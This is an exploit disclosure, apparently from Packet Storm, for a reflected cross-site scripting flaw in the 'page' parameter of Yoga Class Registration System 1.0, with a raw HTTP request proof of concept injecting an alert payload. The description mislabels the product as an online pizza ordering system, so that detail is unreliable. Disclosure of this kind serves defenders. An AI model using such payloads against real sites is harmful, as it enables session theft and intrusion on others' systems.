Exploit for Yoga Class Registration System 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:171394
# Exploit Title: Yoga Class Registration System - Cross Site Scripting Vulnerability (Authenticated)  
# Date: 19/03/2023  
# Exploit Author: Abdulhakim Öner  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html  
# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ycrs.zip  
# Version: 1.0  
# Tested on: Windows, Linux  
  
## Description   
A reflected Cross Site Scripting vulnerability in the "page" parameter in Online Pizza Ordering System allows remote authenticated users to execute JavaScript code.   
  
## Request PoC  
```  
GET /php-ycrs/admin/?page=classes%2fmanage_class58913'%3balert(1)%2f%2f575&id=2 HTTP/1.1  
Host: 192.168.1.101  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Referer: http://192.168.1.101/php-ycrs/admin/?page=classes  
Cookie: PHPSESSID=intlfrkii1gsh9pjgeoo0dhu3b  
  
```